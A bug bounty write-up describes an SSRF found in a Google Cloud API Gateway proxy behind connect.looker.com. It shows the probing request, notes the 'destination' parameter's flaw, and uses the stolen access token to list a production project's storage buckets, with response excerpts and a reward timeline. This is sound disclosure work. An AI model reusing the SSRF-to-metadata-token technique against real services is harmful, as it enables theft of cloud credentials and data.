Hi.
Short writeup about finding on g/vrp.
Initial scope of my interest:
Google’s acquisitions(*.looker.com)
Recon tools for subdomains enumeration and cleaning up noise:
1. Amass
2. subfinder
3. gau
4. github-subdomains.py from https://github.com/gwen001/github-search
5. httpx
Visualization:
1. Webscreenshot from https://github.com/maaaaz/webscreenshot
Entry point:
After initial payload probe in search form on connect.looker.com caught a request to an interesting host that I had not seen before:
OPTIONS /proxy?key={key}&destination={destination} HTTP/2
Host: lms-api-cz6r7c0o.uc.gateway.dev
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: */*
Metadata-Flavor: Google
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Access-Control-Request-Method: POST
Access-Control-Request-Headers: x-algolia-api-key,x-algolia-application-id
Referer: https://connect.looker.com/
Origin: https://connect.looker.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Te: trailers
Hmm, *.gateway.dev
Google/RTFM → looks like it “Google Cloud API Gateway”. Interesting.
The “destination” parameter turned out to be vulnerable to the purest SSRF.
Nice.
Next question -> What we can do with “access_token”?
Google/RTFM -> great research https://www.youtube.com/watch?v=UyemBjyQ4qA from David Schütz. (Strongly recommend to watch :3)
________________________________________________________________
Let’s get to the application files stored somewhere in the bucket
Request:
GET /storage/v1/b?alt=json&project=kitchen-table-prod HTTP/2
Host: storage.googleapis.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
Authorization: Bearer OUR_ACCESS_TOKEN
Content-Length: 0
Responce:
HTTP/2 200 OK
X-Guploader-Uploadid: ADPycduRvI_zxTOI1UixqkIno1Gj6m0MCj0hGJwYum7e0u4XXCzk0p1FGRBloqYucyOMtPZz5kFdVjYBo67zVRASvcKr6wSWIBaD
Content-Type: application/json; charset=UTF-8
Date: Sat, 02 Apr 2022 22:40:43 GMT
Vary: Origin
Vary: X-Origin
Cache-Control: private, max-age=0, must-revalidate, no-transform
Expires: Sat, 02 Apr 2022 22:40:43 GMT
Content-Length: 6158
Server: UploadServer
Alt-Svc: h3=”:443"; ma=2592000,h3–29=”:443"; ma=2592000,h3-Q050=”:443"; ma=2592000,h3-Q046=”:443"; ma=2592000,h3-Q043=”:443"; ma=2592000,quic=”:443"; ma=2592000; v=”46,43"
…
{
“kind”: “storage#bucket”,
“selfLink”: “https://www.googleapis.com/storage/v1/b/looker-lms-prod-tf-backend",
“id”: “looker-lms-prod-tf-backend”,
“name”: “looker-lms-prod-tf-backend”,
“projectNumber”: “1016965839768”,
“metageneration”: “1”,
“location”: “US”,
“storageClass”: “STANDARD”,
“etag”: “CAE=”,
“defaultEventBasedHold”: false,
“timeCreated”: “2021–02–08T01:22:20.140Z”,
“updated”: “2021–02–08T01:22:20.140Z”,
“iamConfiguration”: {
“bucketPolicyOnly”: {
“enabled”: true,
“lockedTime”: “2021–05–09T01:22:20.140Z”
},
“uniformBucketLevelAccess”: {
“enabled”: true,
“lockedTime”: “2021–05–09T01:22:20.140Z”
},
“publicAccessPrevention”: “inherited”
},
“locationType”: “multi-region”,
“satisfiesPZS”: false,
“rpo”: “DEFAULT”
}
…
_________________________________________________________________
Since I entered previously unknown territory, I requested permission for further research. Since we are ̶c̶o̶o̶l̶ ̶h̶a̶c̶k̶e̶r̶s̶ neat scriptkiddies, I preferred to stick to the principle of “primum non nocere”.
Further it is not interesting.
The report was accepted, triaged.
I rubbed my hands in anticipation of good money.
Then I received confirmation that I had been paid $500.
At first I was upset.
Then a letter came that we are awarding you an additional $4,500
Then I rejoiced.
Such are the everyday life of a bughunter.
_________________________________________________________________
Timeline:
- Reported Mar 31, 2022
- Triaged Apr 1, 2022
- Nice catch! Apr 25, 2022
- 500$ Apr 26, 2022
- +4500$ May 17, 2022
- Get permission to publish writeup Sep 6, 2022
Thanks for reading.
Regards.